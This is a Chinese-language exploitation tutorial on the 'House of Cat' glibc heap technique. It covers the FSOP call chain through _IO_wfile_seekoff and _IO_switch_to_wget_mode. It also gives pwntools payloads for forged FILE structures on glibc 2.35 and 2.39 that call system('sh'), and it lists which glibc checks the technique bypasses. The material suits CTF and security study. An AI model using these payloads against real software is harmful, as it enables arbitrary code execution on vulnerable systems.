堆利用详解:house of cat(含 2.35 & 2.39 IO伪造过程分析)
字数 1834 2025-08-23 18:31:18
House of Cat: 新型glibc中IO利用手法详解
前言
House of Cat是一种基于glibc中IO文件流(File Stream)利用的高级堆利用技术,它继承了House of Emma的虚表偏移修改思想,通过精心构造IO结构体来绕过安全检测机制,最终实现任意代码执行。
技术原理
核心思想
House of Cat通过修改虚表指针的偏移,避免了需要绕过TLS上_pointer_chk_guard检测的IO函数调用,转而调用_IO_wfile_jumps中的_IO_wfile_seekoff函数,然后进入_IO_switch_to_wget_mode函数来实现攻击。
关键点
- 虚表偏移修改:通过调整vtable指针的偏移,控制程序执行流
- IO结构伪造:精心构造IO_FILE_plus结构体,满足特定条件触发目标函数
- 调用链控制:利用FSOP(File Stream Oriented Programming)触发IO函数调用链
利用条件
- 能够任意写一个可控地址
- 能够泄露堆地址和libc地址
- 能够触发IO流FSOP,如:
- 触发
__malloc_assert - 程序中存在puts等能进入IO链的函数
- 执行IO相关函数
- 触发
环境准备
推荐使用malloc_testbed测试程序,这是一个标准的菜单题模板,包含以下功能:
malloc: 申请指定大小内存保存在数组里并返回索引free: 释放指定索引的内存,存在double freeedit: 修改指定索引的内存内容,存在overflow和UAF漏洞
程序默认提供:
- libc地址泄露
- 栈地址泄露
- 内存泄露
IO结构分析
_IO_FILE_plus结构
struct _IO_FILE_plus {
FILE file; // 0x00-0xd8
const struct _IO_jump_t *vtable; // 0xd8
};
FILE结构体详细布局
struct _IO_FILE {
int _flags; // 0x00
char* _IO_read_ptr; // 0x08
char* _IO_read_end; // 0x10
char* _IO_read_base; // 0x18
char* _IO_write_base; // 0x20
char* _IO_write_ptr; // 0x28
char* _IO_write_end; // 0x30
char* _IO_buf_base; // 0x38
char* _IO_buf_end; // 0x40
char* _IO_save_base; // 0x48
char* _IO_backup_base; // 0x50
char* _IO_save_end; // 0x58
struct _IO_marker* _markers;// 0x60
struct _IO_FILE* _chain; // 0x68
int _fileno; // 0x70
int _flags2; // 0x74
__off_t _old_offset; // 0x78
unsigned short _cur_column; // 0x80
signed char _vtable_offset; // 0x82
char _shortbuf[1]; // 0x83
_IO_lock_t* _lock; // 0x88
__off64_t _offset; // 0x90
void* __pad1; // 0x98 (struct _IO_codecvt* _codecvt)
void* __pad2; // 0xa0 (struct _IO_wide_data* _wide_data)
void* __pad3; // 0xa8 (struct _IO_FILE* _freeres_list)
void* __pad4; // 0xb0 (void* _freeres_buf)
size_t __pad5; // 0xb8
int _mode; // 0xc0
char _unused2[20]; // 0xc4
};
_IO_wide_data结构
struct _IO_wide_data {
wchar_t* _IO_read_ptr; // 0x00
wchar_t* _IO_read_end; // 0x08
wchar_t* _IO_read_base; // 0x10
wchar_t* _IO_write_base; // 0x18
wchar_t* _IO_write_ptr; // 0x20
wchar_t* _IO_write_end; // 0x28
wchar_t* _IO_buf_base; // 0x30
wchar_t* _IO_buf_end; // 0x38
wchar_t* _IO_save_base; // 0x40
wchar_t* _IO_backup_base; // 0x48
wchar_t* _IO_save_end; // 0x50
__mbstate_t _IO_state; // 0x58
__mbstate_t _IO_last_state; // 0x60
struct _IO_codecvt _codecvt; // 0x68
wchar_t _shortbuf[1]; // 0xd8
const struct _IO_jump_t* _wide_vtable; // 0xe0
};
调用链分析(glibc 2.35)
触发流程
- FSOP触发:通过劫持
_IO_list_all指针触发IO调用 - 虚表劫持:伪造IO结构的虚表,使其指向
_IO_wfile_jumps+0x30- 这样
_IO_OVERFLOW调用(虚表偏移0x18)会实际调用_IO_wfile_seekoff(位于_IO_wfile_jumps+0x48)
- 这样
关键函数调用链
_IO_flush_all_lockp→ 遍历_IO_list_all- 满足条件时调用
_IO_OVERFLOW(实际指向_IO_wfile_seekoff) _IO_wfile_seekoff→_IO_switch_to_wget_mode_IO_switch_to_wget_mode→ 通过_wide_vtable调用任意函数
条件检查
- 进入_IO_OVERFLOW的条件:
fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base - 进入_IO_switch_to_wget_mode的条件:
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
伪造结构构造(2.35)
io_payload = flat({
0x00: b"sh\x00", # _flags
0x18: pack(0), # read_base
0x20: pack(0), # write_base (_wide_data.write_base)
0x28: pack(1), # write_ptr (_wide_data.write_ptr)
0xa0: pack(new_fp + 8), # _wide_data
0xb8: pack(libc.sym.system), # __pad5 (存储目标函数)
0xc0: pack(0), # mode
0xd8: pack(new_vtable), # vtable
0xe8: pack(new_fp + 0xa0) # _wide_vtable
}, filler=b"\x00")
glibc 2.39的差异与调整
主要问题
- 锁检查:2.39强制要求使用fp结构中的lock结构,需要指向一个可用地址
- 模式检查:
_IO_wfile_seekoff中第四个参数为0时会直接返回,需要调整
解决方案
- 添加有效的lock指针
- 修改第一个IO结构的0x20和0x28偏移处的值,确保不进入直接返回路径
伪造结构调整(2.39)
# 第一个IO结构(用于链接)
io_payload0 = flat({
0x20: pack(2),
0x68: pack(new_fp), # _chain
0x88: pack(heap), # lock
0xc0: p32(0xffffffff),
0xd8: pack(normal_vtable)
}, filler=b"\x00")
# 主伪造结构
io_payload = flat({
0x00: b"sh\x00", # _flags
0x18: pack(0), # read_base
0x20: pack(0), # write_base (_wide_data.write_base)
0x28: pack(1), # write_ptr (_wide_data.write_ptr)
0x88: pack(heap), # lock
0xa0: pack(new_fp + 8), # _wide_data
0xb8: pack(libc.sym.system), # __pad5
0xc0: pack(1), # mode
0xd8: pack(new_vtable), # vtable
0xe8: pack(new_fp + 0xa0) # _wide_vtable
}, filler=b"\x00")
利用步骤总结
- 信息泄露:获取堆地址和libc地址
- 堆布局:通过堆漏洞(如UAF)控制关键内存区域
- IO结构伪造:按照上述结构构造伪造的IO_FILE_plus
- 触发FSOP:通过largebin attack等技术劫持
_IO_list_all - 触发调用链:通过exit或IO函数触发FSOP,执行目标函数
防御与绕过
现代glibc版本增加了对IO结构的各种检查,House of Cat通过以下方式绕过:
- 使用
_IO_wfile_jumps而非_IO_file_jumps,避免_pointer_chk_guard检查 - 利用
_wide_vtable不受保护的特点,构造任意函数调用 - 精心设置IO结构字段满足各种条件检查
结论
House of Cat是一种高级的IO利用技术,适用于glibc 2.35及以上版本。它通过精心构造IO结构和控制虚表指针,绕过了多种安全机制,实现了可靠的任意代码执行。理解这一技术需要深入掌握glibc的IO实现细节和虚表调用机制。